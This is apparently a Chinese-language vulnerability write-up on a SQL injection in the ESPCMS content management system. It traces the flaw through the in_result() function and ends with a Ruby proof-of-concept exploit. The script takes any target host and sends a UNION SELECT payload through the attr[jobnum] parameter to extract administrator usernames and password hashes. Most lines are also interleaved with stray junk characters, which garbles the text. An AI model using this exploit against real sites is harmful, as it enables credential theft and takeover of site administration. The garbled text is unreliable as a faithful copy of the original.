0×0 漏洞概述0×1 漏洞细节3 n/ ~" Y+ y' C7 i
0×2 PoC
+ c( ^4 Z/ J6 U" g* B1 p% m& O) O" P, j' ?2 V, _: d0 ?5 J
' q3 i) v0 g- G9 [6 L [: }2 Q/ m- [* w
( w0 g" ~# p& ]0 w) x. v
0×0 漏洞概述
- U, Z) \) {6 U) l9 W2 i
. l i% f: K2 e5 C ~" ~易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。# E; Q( X( P/ y9 X- g
其在处理传入的参数时考虑不严谨导致SQL注入发生
0 H) h! l+ y6 x H
- m: |- }. g& E) ~1 V9 l! j5 C/ r" j6 v" z
0×1 漏洞细节
* T6 }0 ~5 d2 M. J6 l- b# N
; V1 Y- d' K/ G# V5 f; m5 Q变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
h0 f; k/ `1 r8 L! Z正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。1 V) T& w9 J$ v1 Y6 @6 p
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
& y+ u9 U+ z! z! ]6 T; d% D
+ k8 L) U. H; e. j) O+ q* s在/interface/3gwap_search.php文件的in_result函数中:" M; p: s* J2 n2 o& r
4 T5 J9 B4 h( a g
/ ?+ Z5 O+ h/ ~- \- v
3 Y$ l5 i/ Q1 a$ K" B; N0 b6 u0 A function in_result() {$ l) }% z3 H5 ]' x5 L
... ... ... ... ... ... ... ... ...( K# G y2 H5 F+ m$ n4 a( b
$urlcode = $_SERVER[ 'QUERY_STRING '];
" E5 n+ X( v- g5 A5 D! Y6 P parse_str(html_entity_decode($urlcode), $output);7 f+ @2 |3 I, p1 K- h6 @; O/ w" c
# D/ |# b( z+ ~$ ?: U1 T+ Z& g
... ... ... ... ... ... ... ... ...
4 T" S0 c. @/ X8 K if (is_array($output['attr' ]) && count($output['attr']) > 0) {
+ T* f7 l8 U% W7 T3 Z. K3 S9 A- ]. E- U: a, k( E; \- i
$db_table = db_prefix . 'model_att';, K$ u% B) B- S0 P# I
' R# A# T3 I- X3 T6 w! e foreach ($output['attr' ] as $key => $value) { ~$ j( Y S `: F# A$ n- ]: `
if ($value) {4 ~: @: b; q& B. T1 k2 T. v
: C7 }+ y- o7 v
$key = addslashes($key);
& J0 y3 j/ B p $key = $this-> fun->inputcodetrim($key);# z f$ ]% B# N8 i8 _
$db_att_where = " WHERE isclass=1 AND attrname='$key'";5 A, e1 h; u5 h; I5 i* B
$countnum = $this->db_numrows($db_table, $db_att_where);
4 l7 I9 ]3 I5 \4 f H0 P if ($countnum > 0) {
/ ~+ `6 o" t: ~4 E5 g $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
@' t) {* P. [+ @& [/ |" i% ]8 H, f }
/ l8 S& K; r0 o0 C2 K8 Q, [ }
r% z% }/ j5 ` W7 H }
8 U& ^$ e! ?3 m, G p1 { }1 f9 G- d1 O0 \
if (!empty ($keyword) && empty($keyname)) {
$ H' c- ]5 H$ q- ^) p $keyname = 'title';
& N3 w9 |0 ]' E9 V1 m6 b$ D' I $db_where.= " AND a.title like '%$keyword%'" ;3 [$ |7 M6 y2 L* m8 d
} elseif (!empty ($keyword) && !empty($keyname)) {/ A6 `. F4 [* \+ c. h5 O
$db_where.= " AND $keyname like '% $keyword%'";0 ]% G+ @/ W6 F$ k: D
}4 S. t$ P7 H! [8 n5 n) \- _3 a! k
$pagemax = 15;
% U/ C) {# A2 Y4 O/ Z' @! q6 N; ^
$pagesylte = 1;6 B5 ]+ ]8 S# x8 M/ r' X: O
6 f( Z2 w, `9 ~& Z( k if ($countnum > 0) {8 t* k, A3 Y2 ~, [ ~& ~" }9 n0 S
& M% m8 t. k: ~7 f! W5 k $numpage = ceil($countnum / $pagemax);6 h9 |6 j$ C" t, C" G( l0 b
} else {
0 L& m0 n! U" [; A4 k6 w $numpage = 1;, h @- a, s- G/ ~: r- x* r" Y
}7 A% {+ _, k/ C2 z
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
$ H1 ]4 L3 F- C7 Y# k $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);1 N. A+ x& ?! L" K+ P4 n7 d9 I
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
o: S! l; P5 } ... ... ... ... ... ... ... ... ...2 G# R8 S5 r, e. y/ x
}0 h8 p; G, R J% w, ~
$ g0 ^0 E4 @; J* X3 D$ v7 a& W. ]9 n4 s! i$ n) o2 a0 U
0×2 PoC
1 P7 q' u# N( P1 i' p! \. U# Z/ x' U. \1 w! f5 R" O
" c; W4 h$ w8 H; J9 r5 _: A9 F( _7 I! N# y5 |2 z+ b
require "net/http"
; X9 t1 J$ |, u/ ^
' Q2 y) p$ j1 I! {; W; _/ m" d2 W2 Gdef request(method, url)
& B: C. o. u) P5 A' k" Z) C if method.eql?("get")! d; C5 N; Q. z7 v; y' m
uri = URI.parse(url)
7 |' @7 E9 P9 d. B http = Net::HTTP.new(uri.host, uri.port)( l1 i( j8 Y P0 Q& \
response = http.request(Net::HTTP::Get.new(uri.request_uri))- b$ `7 g* F, U) [
return response
. O* w2 ]/ |$ C! u, W0 K end( P# u9 m' d. K+ H1 }2 s3 d6 i
end/ C! z$ e! x; P1 W$ E1 y5 V
! M2 P# \1 g4 {8 f
doc =<<HERE
( a1 R7 ?. H' C: ]) ]" O7 x-------------------------------------------------------# e' P! P9 Y4 L: \
Espcms Injection Exploit
$ p A- L' x- b( O5 p( TAuthor:ztz" |# p6 g8 s! I& c5 i8 D2 k$ q
Blog:http://ztz.fuzzexp.org/
; C0 _% H) w1 q( i$ g5 `3 G: ~-------------------------------------------------------! s8 A7 R; T9 {, I0 ?0 j9 k3 f
; o. G. p, t# z6 _& Z4 m
HERE1 `* c8 m! i {$ c# ^5 ~% O# ~3 y
. x, r c6 D% P0 \/ d( c. \* \
usage =<<HERE* N6 T' o, @) Z$ H) N
Usage: ruby #{$0} host port path
3 Y7 T. [1 p4 z- ]) x: g7 C8 ^example: ruby #{$0} www.target.com 80 /
2 l; s: N% |" f" q' q" MHERE: F/ ~2 a2 B* f3 n
1 }+ w+ S D v2 Nputs doc
+ r& j: x& G; b, ^if ARGV.length < 38 H' E9 ]0 a0 s: A6 [; A! i5 X
puts usage
' t: e5 ~* Z9 f- yelse
8 H. a: g8 ?0 W+ v2 i $host = ARGV[0]
1 L; s' a7 S& C+ C9 Q# J $port = ARGV[1]4 q( T- P ~& u6 h+ h6 u# ]. T
$path = ARGV[2]7 F) A3 A. l+ @3 \4 @& Q* @, m) J( Z
3 q* @5 O: d k1 }
puts "send request..."
. ?5 u$ p1 O1 g; Z url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
{ b7 H; [; |attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13& O- S+ }) u1 Z3 _$ b9 `
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
" a" \" W- @5 X7 G/ n6 y: i& @,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
8 y3 i1 l/ A% A response = request("get", url)! i3 r3 b- I# Y
result = response.body.scan(/\w+&\w{32}/)
! x @% a: Y: w Y puts result
# C1 g% |+ n( c) g. Z9 Jend
4 @- e; V% [ B. c! C i
6 p" W$ ?' r# R& g. {" S, T2 I |